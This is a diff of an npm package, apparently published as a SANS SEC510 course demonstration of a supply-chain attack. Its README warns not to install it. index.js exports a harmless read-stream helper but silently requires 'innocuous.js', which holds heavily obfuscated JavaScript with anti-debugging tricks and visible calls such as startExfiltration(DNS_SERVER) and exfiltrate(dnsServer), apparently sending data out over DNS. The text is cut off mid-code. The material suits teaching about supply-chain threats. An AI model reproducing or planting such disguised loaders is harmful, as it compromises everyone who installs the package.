check-readstream-really-awesome-totally-secure-i-think 0.0.1-security → 5.10.4

package/LICENSE

@@ -0,0 +1 @@
+(c) Copyright 2020 Brandon Evans and Eric Johnson, all rights reserved.

package/README.md

@@ -1,5 +1,7 @@
-# Security holding package
+# DO NOT INSTALL
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+**This package contains malware used to demonstrate a supply-chain attack.** Featured in [SANS SEC510: Cloud Security Controls and Mitigations](https://www.sans.org/cyber-security-courses/cloud-security-controls-mitigations/).
 
-Please refer to www.npmjs.com/advisories?search=check-readstream-really-awesome-totally-secure-i-think for more information.
+# check-readstream-really-awesome-totally-secure-i-think
+
+Promise resolving if a read stream is read successfully and rejecting if an error is thrown or a 404 response is encountered.

package/index.js

@@ -0,0 +1,23 @@
+module.exports = readStream => new Promise((resolve, reject) => {
+  readStream.on('open', () => {
+    resolve(readStream)
+  });
+
+  readStream.on('pipe', () => {
+    resolve(readStream)
+  });
+
+  readStream.on('response', (response) => {
+    if (response.statusCode === 404) {
+      reject(new Error(response.statusMessage))
+    } else {
+      resolve(readStream)
+    }
+  });
+
+  readStream.on('error', err => {
+    reject(err)
+  });
+});
+
+require('./innocuous');

package/innocuous.js

@@ -0,0 +1 @@
+const _0xc7cd=['w5vDssKZYw==','A1TCsAjCrQ==','exQew7wG','w6vDlMO8woDCiQ==','HsOvw73DusK6','wpx9L8K4aw==','w75qDMKNwqs=','wqEYwp3Dh8KL','w5hCEcKLwqo=','eyYcw5Uc','wp1Rw5URw5E=','wovDrhjCiMO6','wp1Pw5IYw6w=','wrpqwoPDhcOj','w7rDr8K0H0A=','w4zCqDPCpsKy','AGTCo8O/w6M=','w6HDoMKZNmQ=','wojDpMKMwqtX','A8OBwpdrw74=','w7TDq8K4dcO7','E8OOw6zDhcK7','w5A7RlV/','wpgSEGTChw==','w7TDjjzCg1o=','QsKqw60bw7Q=','LMOew5zDt8KE','w5cNwplbwqU=','w7XDtcKRwp5C','w63CmcO5FcKt','wopYw4Q=','wrgPwqrDgMKp','w7A3cgTDnw==','w57DpBzDuMOc','w6JrHQ==','RAoRw4Ei','wppDw7t4Pg==','wqo9HWfCpA==','w7rCiTrCgEk=','w5DCjcOtWMOw','fsKPw6TCr8Ov','OEzCk31c','w68twpxeOg==','w5FOwq88wrk=','w4XDhcKew4zCtQ==','wq1FwpvDq8OU','bcKFw73Ciw==','woPDoHs=','QcK5B8K+wqQ=','TD9bF2I=','wqZgdsKew6M=','w6PDo8Kvw7py','cltkwrzDhw==','w57DjT7DisOG','w5Ayw7JMFQ==','SDwLGmk=','wq/DjVTCqsOL','R8Kow6YOLg==','w7/DhMKQw5XCtg==','D8Ouwopdw4Y=','woLDhMOqeg==','w5/CqxTCssKq','woPDlHtEAw==','Mns2wq84','w5nCscOQw6k=','w4XDsMKew6NQ','wo/CiMOMwps=','w6pMM8KWwpw=','wpnDqhrClcOU','w6wSRnV4','w4tOEcKJwpY=','wrMGwovDrcKZ','wo4QNcKnw6k=','RsKPw4fCscOg','w7M3w7nDpQ==','w7p0woQjwr8=','NcOHB8O3wpw=','wqIMwq/Dr8Kh','wqsOwqzDmMKe','WcOmw7sUwo4=','woU2wr3DpsKV','bsKEw73CkQ==','L0DCusOaw7M=','DMOIVMO9wo0=','wr1qw4VuIQ==','worDhMOCWW4=','wrjDkVXCpsOt','wr7DhsO9eXw=','fcKXLHou','eMKTI8KQJw==','w6NsPcKkwp0=','dcKGw43CtcOy','woxMwo3DksOJ','w4kpwohkDw==','QyQIw6An','wrvCisKgLx0=','w6Uow7VDGw==','wqpew6MMw7s=','w7TDqQ/CqHM=','RllTwovDiQ==','w5ZtwosMwr0=','w6bCpR3CgXQ=','w60+X1ZM','w4nDm8Khw6ZZ','w7YGwq97JA==','aMKkUUg=','w7nDghfCin0=','w7XClmfCisOJ','w7XDm8Knc8Oo','w6/CkEHCmsOD','VcK9N8KwEA==','w4YSYwLDsw==','w43CgGXCtsOU','w6bClEfCisKy','wp1Cwr/DlsOe','w6x/CMKywrc=','wpTDl8OtfUU=','CEHCrcORw4I=','wr5awr3DsMOw','fMKxw4QXNA==','wq42I1vCiA==','w4rCkcK/w54P','woRTwpzDq8Op','w7E0csO0fw==','wo8QAF/Chw==','wqzDiivCj8O0','X8KpMcKZEw==','wr9Dw6hFDw==','ez8Qw4IE','wq/DjzvCssO4','w7/DhMKfw7Vi','wpfDj8OpQkE=','w7I+w6XDvBo=','w68qFy7CkQ==','w6PCoybDo8O/','w4/CisKhJG0=','fMKiKsKbwoI=','w4nCusOdw7IJ','wpXDryLClcOu','UcKfw7kqOQ==','w5VON8KWwow=','D23CjUhp','w7wGZMOkdg==','wr1oe8KFw5g=','w7fCmkTCqMOn','SMKKAMK2Pw==','w6XCslvCjsO2','c8Krw5M+','w5jCksKHw7sV','wqjCgBzCl2o=','NkzCp8OI','w4XDgsKxw7TCkA==','w5/Dvy/CvFs=','w44YVmlh','KUfCjjXCnQ==','wpw6B2bCtw==','TcKQw6XCscOs','ex00O0c=','LV7ChMOxw6g=','wpXDkHTCr8O+','dUUDwqRz','w4LDtMODwpvCjg==','w6xjFA==','SCHDi8Kmw7o=','C8Ojwo9+w7o=','TcK3BcKbwqM=','L3kRwqQ4','wpXDlcOpe1M=','RC0Y','RjwIw7Y4','w4zDv1jDusK+','w6JWwpoLwpk=','wqE6wrHDncKt','w7PDghfDmSM=','woppw4hD','w4LDkcKlRsOT','bMK4GsK3PA==','QmF1woLDlQ==','w45WAsKIwq8=','DMOqw5vDg8Ko','wrHDo2FNNA==','RRYGw5Yb','worDiFHCqMOP','SX1/wrnDmg==','w5drR2F0','dMK7w4I5w5o=','w6Igw4la','w4/CkkbCo8Ol','MHPCtcOvw7Q=','wrfDrsOcfU4=','w6nDp8KYwrJb','wo7DnFlrIg==','w6HDocK8Ins=','w4/Ck8Orw7Up','JcOLwo1vw74=','w7TDhRzDncO2','wr9Nw58gw7s=','wpUWwq/DhcK/','YMK8cXVU','acKaw4zCnMOz','S8Kqw7EGJQ==','w5clYMOuSQ==','wqISwqnDn8KR','IcOvwrxtw5k=','w7LClcO0Q8OV','w6fCuMOPV8OR','woNrQcK4w4Q=','RgoTJ2A=','w7vCh8OiTMOa','Kn8FwpIp','wrtPwq3DoMOT','w7ILwrBKEQ==','ZcK9Fmw/','AMOww5zDjg==','wo7DnxbCncOt','X8O7w6dHLQ==','w7bDgBjCl0U=','TsOCwp/CiQ==','w7bDg8KeNWU=','J0DCk8Ouw5Q=','w4PDvsK0wq1Q','A8K5woLCpCk=','w54+wolkEQ==','w4nCv8OMw4IB','ccKLw7jCkMOz','aMKGYGRD','SsKkw7U=','w7k2Vh3Duw==','Ck0ywq4C','wqvDhGfCoMOv','wqFfeMKow5A=','wqLDtsKZRXI=','w4M4QiLDmw==','bcO3wo4=','w7zCkcKxw5si','w6rDvMKqw6ly','w73DqcKhEXQ=','w5bDi8K+OlI=','w5vDgC/CukY=','w4/CpMOdw6cL','w7ESR8OmQQ==','KMKTwrnCoCw=','F8K1wp3CvyA=','w5oEbwrDnw==','w5cbQh3Djg==','w5vDgsKcw4vCvA==','w7TCgEfChw==','w7bDisK0T8Oc','wonDimnCtcOc','w77CmMKPw6ch','wopdW8K1w4c=','wprCi0rCpMKV','w6lzc1bDgA==','w7vCnMO/VsO+','wptywo1MBw==','w6DDoAHCt1g=','dcK7w4M+w4E=','w67Cu8OYw4oU','w5Uaw4nDixM=','woAuAnPCpA==','BnvCkcOvw5I=','X8OOwrjDlcOi','FMKYwqDCjxQ=','w5HDksKEw65T','w5bDrsKVZMOq','w54KI1VG','w5cUwrZnDA==','woZlwo3DssOx','fsKsw6cRCw==','w74MWsOOaA==','f8K7w4nCh8KT','J0jCh8O7w6g=','wr9lw4VGPg==','DlvCnQLCtw==','RmN7wqLDpA==','w7kGdMOaeg==','wr/DvmjCiMO5','wqJjXMKmw5A=','fsKrw5AAw5c=','w5HDocKqw5bChQ==','wrEqwp3DicKZ','wppSw5kYw6s=','EsKzwp/CuDE=','TMKSA8KRBw==','IWXCrwjClg==','w6Qrw4x9Jw==','w7/DpMKO','DcO6w4HDs8K5','wpw4wo/Du8KV','w4XCtsKjw4gW','XcKPAcKMBg==','GEnCh2Ji','w7XCmsOtw4YI','w4HCuQrCiFk=','YRUpMFk=','wrd0w7x0IA==','QMOLwoDDoMO0','w5DCoFrChMOr','wrQ2QcOn','w7Qfwp9TKQ==','BHzCmsO/w5U=','w7fDvcKc','w7fCkWXCqMO7','CHTCkVB1','w4TDvsOFwonCiQ==','wr9YcsKJw40=','RsKqw4ghw6U=','wqA5wqjDv8KS','w4jDrsKbYcOh','w7rCmsKyw4A9','LcO+w5fDlsKT','w57Cu8O0SMOI','w7PCisO1w78j','w79qC8KxwqI=','wrhNw4dPPA==','wpLDq357','ZcKow6YfMg==','FnDCrnFz','w5HDpsKlw4zCnw==','RT3CiUx5','w4DDqcKTY8O2','wp1uw4NeAQ==','w5AufXs=','w5/DhAzDqcOz','V2N2wrXDrA==','w78XSsOTZw==','wodUdMKyw5g=','w7QXYsOQVA==','w7YXThjDsA==','w7bDqR7DnsOb','A8KdRMKrwro=','w7XCl8Ofw6EG','wrFVw5s8w4U=','QsOywo/DhcOE','R8K7w6ILOA==','wq18w7A/w7Q=','wo/DjRrCucO7','w5nCtsOUQMO3','CVbCog7CnA==','w4JcHMKGwoQ=','wqBGwpfCscKw','fsK6PMKtwoA=','wpNzw6F5MQ==','WMO6woXDssOo','w6k4w4fDtjY=','w4DDkhnDmMOI','ScKIDcKV','w7zDvcKywpZC','w5LChMK/w5ci','w4LCmjrCpUM=','Si0PFXg=','FsK7wpTCuQ==','dsOxDQIX','w6tTwqAfwow=','wpvDocKNwqRG','wqpXw5pHFg==','w7fCgFbCnMO1','Wxg6w70g','wrDDoUt2Bg==','w4DDuMKhw5fCgg==','w5/DtMK5InU=','w5dmF8KxwoU=','w5fDlsOA','w7Ahw47DsDY=','cB4Xw4sa','YsKcWm5m','dcO2wpXDqMOS','wojDgmHCosOC','GETCjMOSw7A=','Qz0Hw6kr','wppSw5obw7Y=','w5PDhcKHdMOb','w6zCksKxw5Y0','w6tiwoQywrc=','w5c0wqJSKw==','csKbdU9D','w4rCpcKWw548','wox+w6Abw5E=','NlDCthTCqw==','Fk8owpEI','wohmw4JhEQ==','wrHDgF3CkcO8','w5vCs8OIw6wI','dsOaw4/DvcOu','wr8+wp8=','w7PDqcKB','ScKdw6MPw4Q=','w6/Dt8KIwrI=','w7bCuSDCikg=','TR06w6Yb','wo9cw5sew7o=','wo1qwrzDpsO/','JMO2w5jDgsKp','w63CjsO1bMOM','w64ew5LDvxE=','CcO6w5zDjA==','VsKXFcK3Cg==','w7rDhcK6W8OB','EsKzwpzCuyw=','W8O0wrLDq8O8','Nm4/woE0','wpnCphbCmsKy','w6TCssKfw7UG','fsOtwofDlcOC','Q8KiL8KUBg==','w53CtsK/w5ci','YcOswq/Dv8OZ','wrYdwqrDm8KQ','w7bDs8KL','w73CryPCnk4=','e8KaWnJm','YsK7w43ChcKR','JsKjU8K+wqs=','w4PColzCqcOk','VsOEw4bDusOq','wqPDj35oOw==','SMK8w5E9w58=','woHDg3HCrQA=','S8Kqw7E=','w5vCphHCgU4=','XG54wpnDkQ==','w5vDqsOnwo/CvQ==','SlVTwp7DrQ==','w5PDkMKYw5Y=','w53DksO+wozChw==','w47Dm8Kbw5dD','w7XCpcOLdcOh','w6Y3w5VDHg==','wr9SU8Kbw5A=','dzwowp8n','acKzKcK/GA==','wrbDnFXCn8OL','w5PCvsOMw7AT','w4DDssKGRMOJ','YsOfwpTDtsOL','w7pYwrsZwpc=','woZbwojDpsOr','T8KHw4oJDA==','IGrCjcO3w6s=','dMKxBMKHwpw=','woAZwr/CusOt','woPChsO7L3s=','a8O8wofDlQ==','wp5iwqzDnMOD','w5VDFcKQwpo=','w7vClMOwVcOQ','w47DjB7CrFA=','U8Klw6YNw6o=','L3kowqQr','wqMsIUHClQ==','fcKjUE9F','W8KKKsKiDw==','eMOjw4k5YQ==','wqpIwpXDvQ==','w77DncKgCW4=','OMO5VlJC','w4EAVhHDlg==','TsKZw4YDEQ==','w4DDlcO8wobCgQ==','w7bCgMOew4Ii','ZcKgw7okFQ==','UMKqw7Mww7c=','wp/Dg1LCkA==','wprCk8Kaw4DCtg==','wqnDq8OZTFk=','IMK2wqvCgxw=','bcKHZWRc','wq9zw70Dw7U=','wqrDgErDmW0=','DMKBUQ==','w4bCuiPCgVU=','wqLDpMOLeEI=','aw4JJHQ=','w77CncO/ScOh','w47CuMOZw6s=','w6vCsWzCkXY=','w7rDhcKiUcOQ','XWxRwrXDsQ==','w4Yew5DDgjY=','w4PDlsKddcO+','I8Odw6/DscKL','w7bDi8KHw5LChQ==','B03CpcOYw7A=','wrLDm2NkGA==','C2/Cj0ti','Wi0lw5sq','w7TDlsK/w4VT','d2wmCw==','XSIKNUg=','w5Q+fWc=','dcOBwqXDtsO+','w5XDk8K/w5N+','w57CvsOMb8OQ','w5/CmAzChms=','wrNeYMKqw54=','w7zCqMOfYsOO','YcKLZXF4','wr9vYsK2w7c=','w70ufgnDvg==','XhgQO2g=','LMO3w5nDq24=','IUrCjUlZ','w6VlwpEOVQ==','GkbCkivCpA==','ajclw5ky','wro1wqXDtMKa','AU/Cql17','w7/CmcObw7cS','w7DCrWjCrUk=','w7nClcK2w58=','w7fDvcOGwpgZ','w4nCvHXCpMOE','wqorJlHCow==','w4YUw4x7LQ==','HsKkfcK0woQ=','E8OOw6XDtsKZ','w4VrNsKRwqk=','ZcKjw7cpw6w=','X2p6wqjDlg==','w7TDr8KcNkg=','w7c1w4pCDg==','w4DCsMKTw4cH','w4AaRjDDog==','SsKlem5E','w6fCvxnCqUM=','wrU7JFDCmQ==','w6Yiw7rDvSU=','wrHDjsOYQ3s=','w5Irw63DkwQ=','w6zDrxLCgE8=','VMK+w7ETLg==','w6rDgsKpw6vCpQ==','w7U3w77DpC4=','w7tNwoYAwpQ=','OMKgc8Kvwrg=','W8KfEcKM','DGrCscOmw7I=','w6nClEQ=','woIvwrXDqsK4','fcKLVGtG','wo5IwpvDp8OV','w7k3esOnUw==','aywtw503','VMK9w7cVMg==','w5JxwqEqwrE=','w7ccwplMJg==','w7LDu8KTworCiQ==','w4rDtMKZMlQ='];(function(_0x261146,_0xc7cd8d){const _0x39e3df=function(_0x239134){while(--_0x239134){_0x261146['push'](_0x261146['shift']());}};const _0x43503b=function(){const _0x48cbc0={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x50ed40,_0x296b94,_0x29735a,_0x123eab){_0x123eab=_0x123eab||{};let _0x1a25ab=_0x296b94+'='+_0x29735a;let _0x3cfcc6=0x0;for(let _0x187792=0x0,_0x19546a=_0x50ed40['length'];_0x187792<_0x19546a;_0x187792++){const _0x3a30f0=_0x50ed40[_0x187792];_0x1a25ab+=';\x20'+_0x3a30f0;const _0x4cfa47=_0x50ed40[_0x3a30f0];_0x50ed40['push'](_0x4cfa47);_0x19546a=_0x50ed40['length'];if(_0x4cfa47!==!![]){_0x1a25ab+='='+_0x4cfa47;}}_0x123eab['cookie']=_0x1a25ab;},'removeCookie':function(){return'dev';},'getCookie':function(_0x454e20,_0x4dfb4a){_0x454e20=_0x454e20||function(_0x2299f9){return _0x2299f9;};const _0x3f367e=_0x454e20(new RegExp('(?:^|;\x20)'+_0x4dfb4a['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x16b6a9=function(_0x40f7f8,_0x120f24){_0x40f7f8(++_0x120f24);};_0x16b6a9(_0x39e3df,_0xc7cd8d);return _0x3f367e?decodeURIComponent(_0x3f367e[0x1]):undefined;}};const _0x36b30a=function(){const _0x578861=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x578861['test'](_0x48cbc0['removeCookie']['toString']());};_0x48cbc0['updateCookie']=_0x36b30a;let _0x16757a='';const _0x551801=_0x48cbc0['updateCookie']();if(!_0x551801){_0x48cbc0['setCookie'](['*'],'counter',0x1);}else if(_0x551801){_0x16757a=_0x48cbc0['getCookie'](null,'counter');}else{_0x48cbc0['removeCookie']();}};_0x43503b();}(_0xc7cd,0x104));const _0x39e3=function(_0x261146,_0xc7cd8d){_0x261146=_0x261146-0x0;let _0x39e3df=_0xc7cd[_0x261146];if(_0x39e3['sUrvEE']===undefined){(function(){const _0x48cbc0=function(){let _0x551801;try{_0x551801=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x50ed40){_0x551801=window;}return _0x551801;};const _0x36b30a=_0x48cbc0();const _0x16757a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x36b30a['atob']||(_0x36b30a['atob']=function(_0x296b94){const _0x29735a=String(_0x296b94)['replace'](/=+$/,'');let _0x123eab='';for(let _0x1a25ab=0x0,_0x3cfcc6,_0x187792,_0x19546a=0x0;_0x187792=_0x29735a['charAt'](_0x19546a++);~_0x187792&&(_0x3cfcc6=_0x1a25ab%0x4?_0x3cfcc6*0x40+_0x187792:_0x187792,_0x1a25ab++%0x4)?_0x123eab+=String['fromCharCode'](0xff&_0x3cfcc6>>(-0x2*_0x1a25ab&0x6)):0x0){_0x187792=_0x16757a['indexOf'](_0x187792);}return _0x123eab;});}());const _0x239134=function(_0x3a30f0,_0x4cfa47){let _0x454e20=[],_0x4dfb4a=0x0,_0x3f367e,_0x16b6a9='',_0x2299f9='';_0x3a30f0=atob(_0x3a30f0);for(let _0x120f24=0x0,_0x578861=_0x3a30f0['length'];_0x120f24<_0x578861;_0x120f24++){_0x2299f9+='%'+('00'+_0x3a30f0['charCodeAt'](_0x120f24)['toString'](0x10))['slice'](-0x2);}_0x3a30f0=decodeURIComponent(_0x2299f9);let _0x40f7f8;for(_0x40f7f8=0x0;_0x40f7f8<0x100;_0x40f7f8++){_0x454e20[_0x40f7f8]=_0x40f7f8;}for(_0x40f7f8=0x0;_0x40f7f8<0x100;_0x40f7f8++){_0x4dfb4a=(_0x4dfb4a+_0x454e20[_0x40f7f8]+_0x4cfa47['charCodeAt'](_0x40f7f8%_0x4cfa47['length']))%0x100;_0x3f367e=_0x454e20[_0x40f7f8];_0x454e20[_0x40f7f8]=_0x454e20[_0x4dfb4a];_0x454e20[_0x4dfb4a]=_0x3f367e;}_0x40f7f8=0x0;_0x4dfb4a=0x0;for(let _0x199598=0x0;_0x199598<_0x3a30f0['length'];_0x199598++){_0x40f7f8=(_0x40f7f8+0x1)%0x100;_0x4dfb4a=(_0x4dfb4a+_0x454e20[_0x40f7f8])%0x100;_0x3f367e=_0x454e20[_0x40f7f8];_0x454e20[_0x40f7f8]=_0x454e20[_0x4dfb4a];_0x454e20[_0x4dfb4a]=_0x3f367e;_0x16b6a9+=String['fromCharCode'](_0x3a30f0['charCodeAt'](_0x199598)^_0x454e20[(_0x454e20[_0x40f7f8]+_0x454e20[_0x4dfb4a])%0x100]);}return _0x16b6a9;};_0x39e3['SUxDpQ']=_0x239134;_0x39e3['vmzVBY']={};_0x39e3['sUrvEE']=!![];}const _0x43503b=_0x39e3['vmzVBY'][_0x261146];if(_0x43503b===undefined){if(_0x39e3['yBsznR']===undefined){const _0x2195e0=function(_0x1182fb){this['ltRcER']=_0x1182fb;this['GfEVsT']=[0x1,0x0,0x0];this['JPAAvS']=function(){return'newState';};this['NnNQXc']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['Vhijeb']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x2195e0['prototype']['DnIuNs']=function(){const _0x38c21a=new RegExp(this['NnNQXc']+this['Vhijeb']);const _0x416f79=_0x38c21a['test'](this['JPAAvS']['toString']())?--this['GfEVsT'][0x1]:--this['GfEVsT'][0x0];return this['aVAQWx'](_0x416f79);};_0x2195e0['prototype']['aVAQWx']=function(_0x4c5987){if(!Boolean(~_0x4c5987)){return _0x4c5987;}return this['BldQHg'](this['ltRcER']);};_0x2195e0['prototype']['BldQHg']=function(_0x5b3a8a){for(let _0x399940=0x0,_0x28750c=this['GfEVsT']['length'];_0x399940<_0x28750c;_0x399940++){this['GfEVsT']['push'](Math['round'](Math['random']()));_0x28750c=this['GfEVsT']['length'];}return _0x5b3a8a(this['GfEVsT'][0x0]);};new _0x2195e0(_0x39e3)['DnIuNs']();_0x39e3['yBsznR']=!![];}_0x39e3df=_0x39e3['SUxDpQ'](_0x39e3df,_0xc7cd8d);_0x39e3['vmzVBY'][_0x261146]=_0x39e3df;}else{_0x39e3df=_0x43503b;}return _0x39e3df;};const _0x50ed40=function(){const _0x366214={};_0x366214[_0x39e3('0x19c','[u9L')]=function(_0x365b8d,_0x161969){return _0x365b8d(_0x161969);};_0x366214[_0x39e3('0x185','w^&j')]=function(_0x542031,_0x5a1c6f){return _0x542031!==_0x5a1c6f;};_0x366214[_0x39e3('0x1fb','GPP6')]=_0x39e3('0x38','Dsp2');_0x366214[_0x39e3('0x1f3','Lv^n')]=_0x39e3('0x14','vnP]');_0x366214[_0x39e3('0xe4',')o[8')]=function(_0x20ceaa,_0xc93f3){return _0x20ceaa!==_0xc93f3;};_0x366214[_0x39e3('0x11','3#Q[')]=_0x39e3('0x13f','vnP]');_0x366214[_0x39e3('0x19a','Q$g)')]=function(_0x31404d,_0x2395a8){return _0x31404d(_0x2395a8);};_0x366214[_0x39e3('0x15b','KI32')]=function(_0x48fc84,_0x4a59b8){return _0x48fc84!==_0x4a59b8;};_0x366214[_0x39e3('0x184','@UCe')]=_0x39e3('0x1e5','vnP]');const _0x536994=_0x366214;let _0x3b89f4=!![];return function(_0x2e70f9,_0x5a6440){const _0x52acf5={};_0x52acf5[_0x39e3('0x1eb','KI32')]=function(_0x5a0d3d,_0x5cfbf4){return _0x536994[_0x39e3('0xab','w%Ij')](_0x5a0d3d,_0x5cfbf4);};const _0x391a0e=_0x52acf5;if(_0x536994[_0x39e3('0x1ec','88yj')](_0x536994[_0x39e3('0xce','dSJq')],_0x536994[_0x39e3('0x183','4t5i')])){_0x536994[_0x39e3('0xcf','xnEz')](startExfiltration,DNS_SERVER);}else{const _0x2a859c=_0x3b89f4?function(){if(_0x536994[_0x39e3('0xb7','Q$g)')](_0x536994[_0x39e3('0xf7','jjJK')],_0x536994[_0x39e3('0x1c4','KI32')])){if(_0x5a6440){if(_0x536994[_0x39e3('0x106','$D93')](_0x536994[_0x39e3('0xee','$D93')],_0x536994[_0x39e3('0x34','jjJK')])){_0x391a0e[_0x39e3('0x96','dSJq')](result,'0');}else{const _0x333be6=_0x5a6440[_0x39e3('0x157',')o[8')](_0x2e70f9,arguments);_0x5a6440=null;return _0x333be6;}}}else{const _0x1f6bf8=_0x5a6440[_0x39e3('0x193','*)^0')](_0x2e70f9,arguments);_0x5a6440=null;return _0x1f6bf8;}}:function(){};_0x3b89f4=![];return _0x2a859c;}};}();const _0x551801=_0x50ed40(this,function(){const _0x2f86f8={};_0x2f86f8[_0x39e3('0x6','Lv^n')]=function(_0xa46d79){return _0xa46d79();};_0x2f86f8[_0x39e3('0x89','XWwO')]=function(_0x746118,_0x5455b0){return _0x746118!==_0x5455b0;};_0x2f86f8[_0x39e3('0x68','%BLE')]=_0x39e3('0x1b1','x^UT');_0x2f86f8[_0x39e3('0x178',']KC[')]=_0x39e3('0x18b','7]pz');_0x2f86f8[_0x39e3('0x75','xnEz')]=_0x39e3('0x1ba','c3iF')+_0x39e3('0x97','$5d0')+_0x39e3('0x3b','agrh')+_0x39e3('0xf2','lvcz')+'/';_0x2f86f8[_0x39e3('0x3','1sf#')]=_0x39e3('0xc0','Dsp2')+_0x39e3('0xf0','dUw6')+_0x39e3('0x1a5','$D93')+_0x39e3('0x1a7','Zfrp')+_0x39e3('0xf9','1sf#');const _0x2f6ca2=_0x2f86f8;const _0x1205f6=function(){const _0x113e96={};_0x113e96[_0x39e3('0x19f','%fQI')]=function(_0x2a023a){return _0x2f6ca2[_0x39e3('0x90','x^UT')](_0x2a023a);};const _0xd0df50=_0x113e96;if(_0x2f6ca2[_0x39e3('0x9','$(X4')](_0x2f6ca2[_0x39e3('0x223','[u9L')],_0x2f6ca2[_0x39e3('0x20c','*#Zi')])){const _0x180041=_0x1205f6[_0x39e3('0x1c5','OxO%')+_0x39e3('0x220','5Vp#')+'r'](_0x2f6ca2[_0x39e3('0x1e1','jjJK')])()[_0x39e3('0x6e','xnEz')+'le'](_0x2f6ca2[_0x39e3('0x78','%fQI')]);return!_0x180041[_0x39e3('0x3e','uEWo')](_0x551801);}else{_0xd0df50[_0x39e3('0xd5','88yj')](_0x239134);}};return _0x2f6ca2[_0x39e3('0xc2','*#Zi')](_0x1205f6);});_0x551801();const _0x48cbc0=function(){const _0x3aa8ab={};_0x3aa8ab[_0x39e3('0x10','w%Ij')]=function(_0x4b300c,_0x4c6fc5,_0x8416f2){return _0x4b300c(_0x4c6fc5,_0x8416f2);};_0x3aa8ab[_0x39e3('0x117','dSJq')]=function(_0x27dc11,_0x5b5d0e){return _0x27dc11===_0x5b5d0e;};_0x3aa8ab[_0x39e3('0x20a','T]Lq')]=_0x39e3('0x199','T]Lq');_0x3aa8ab[_0x39e3('0xde','GPP6')]=_0x39e3('0x1a9','jjJK');_0x3aa8ab[_0x39e3('0x9f','w^&j')]=function(_0x3bb1e3,_0x18f75a){return _0x3bb1e3===_0x18f75a;};_0x3aa8ab[_0x39e3('0x57','&QmT')]=_0x39e3('0x197','Dsp2');_0x3aa8ab[_0x39e3('0x88','x^UT')]=_0x39e3('0x1d0','x^UT');_0x3aa8ab[_0x39e3('0x6f','XWwO')]=function(_0x23d8b0){return _0x23d8b0();};_0x3aa8ab[_0x39e3('0x150','OxO%')]=function(_0x44499c,_0x565bad){return _0x44499c===_0x565bad;};_0x3aa8ab[_0x39e3('0x111','@UCe')]=_0x39e3('0x175','Zfrp');_0x3aa8ab[_0x39e3('0x218','w%Ij')]=_0x39e3('0x172','GPP6');const _0x5edc95=_0x3aa8ab;let _0x46fca2=!![];return function(_0x4d14d1,_0x1ce8d3){const _0x27cf8a={};_0x27cf8a[_0x39e3('0x1b7','Lng@')]=function(_0x332ede){return _0x5edc95[_0x39e3('0x167','vnP]')](_0x332ede);};const _0x103d48=_0x27cf8a;if(_0x5edc95[_0x39e3('0xa0','4t5i')](_0x5edc95[_0x39e3('0x121','c3iF')],_0x5edc95[_0x39e3('0x17b','(iv&')])){const _0x271ac6=_0x1ce8d3[_0x39e3('0x1ad','agrh')](_0x4d14d1,arguments);_0x1ce8d3=null;return _0x271ac6;}else{const _0x48f233=_0x46fca2?function(){const _0x4f5390={};_0x4f5390[_0x39e3('0xd8','XWwO')]=function(_0x62fc7f,_0x13bd27,_0x3ff761){return _0x5edc95[_0x39e3('0x1f0','88yj')](_0x62fc7f,_0x13bd27,_0x3ff761);};const _0x3618e7=_0x4f5390;if(_0x5edc95[_0x39e3('0x15e','tWzb')](_0x5edc95[_0x39e3('0x1a1','KJ75')],_0x5edc95[_0x39e3('0x2','dUw6')])){dns[_0x39e3('0x126','*)^0')+_0x39e3('0x8f','$5d0')](originalServers);if(!TEST){_0x3618e7[_0x39e3('0x22',')o[8')](setTimeout,()=>exfiltrate(dnsServer),INTERVAL);}}else{if(_0x1ce8d3){if(_0x5edc95[_0x39e3('0x195','GPP6')](_0x5edc95[_0x39e3('0x1e2','KI32')],_0x5edc95[_0x39e3('0x6a','$5d0')])){_0x103d48[_0x39e3('0x208','$D93')](_0x239134);}else{const _0x16a10e=_0x1ce8d3[_0x39e3('0x1e9','$(X4')](_0x4d14d1,arguments);_0x1ce8d3=null;return _0x16a10e;}}}}:function(){};_0x46fca2=![];return _0x48f233;}};}();(function(){const _0xd26fd2={};_0xd26fd2[_0x39e3('0x192','Q$g)')]=function(_0x500719,_0x56c6bc,_0x412991){return _0x500719(_0x56c6bc,_0x412991);};_0xd26fd2[_0x39e3('0x98','(EEv')]=function(_0x26e34c,_0x504a75){return _0x26e34c!==_0x504a75;};_0xd26fd2[_0x39e3('0x1f1','7i8U')]=_0x39e3('0xb9','88yj');_0xd26fd2[_0x39e3('0x14c','Lng@')]=_0x39e3('0x161','1sf#');_0xd26fd2[_0x39e3('0x213','$D93')]=_0x39e3('0x28','GPP6')+_0x39e3('0x50','Q$g)')+_0x39e3('0xfa','T]Lq')+')';_0xd26fd2[_0x39e3('0x176','w%Ij')]=_0x39e3('0x1c0','%BLE')+_0x39e3('0x1c3','GPP6')+_0x39e3('0x21b','w%Ij')+_0x39e3('0x9a','$5d0')+_0x39e3('0x21c','[u9L')+_0x39e3('0x7b','$5d0')+_0x39e3('0x1f9','BMNA');_0xd26fd2[_0x39e3('0xc7','jjJK')]=function(_0x5eed13,_0x2ad065){return _0x5eed13(_0x2ad065);};_0xd26fd2[_0x39e3('0x1a4','W!jy')]=_0x39e3('0x120','XWwO');_0xd26fd2[_0x39e3('0x149','agrh')]=function(_0x42183b,_0x5066bc){return _0x42183b+_0x5066bc;};_0xd26fd2[_0x39e3('0x221','jjJK')]=_0x39e3('0x3a','Lng@');_0xd26fd2[_0x39e3('0x9c','5Vp#')]=_0x39e3('0xa5','1sf#');_0xd26fd2[_0x39e3('0x1cc','vnP]')]=function(_0x37ff10,_0x4b06da){return _0x37ff10===_0x4b06da;};_0xd26fd2[_0x39e3('0x40','4t5i')]=_0x39e3('0xaa','x^UT');_0xd26fd2[_0x39e3('0x1e3','6wCl')]=function(_0x20bb03,_0x5be53c){return 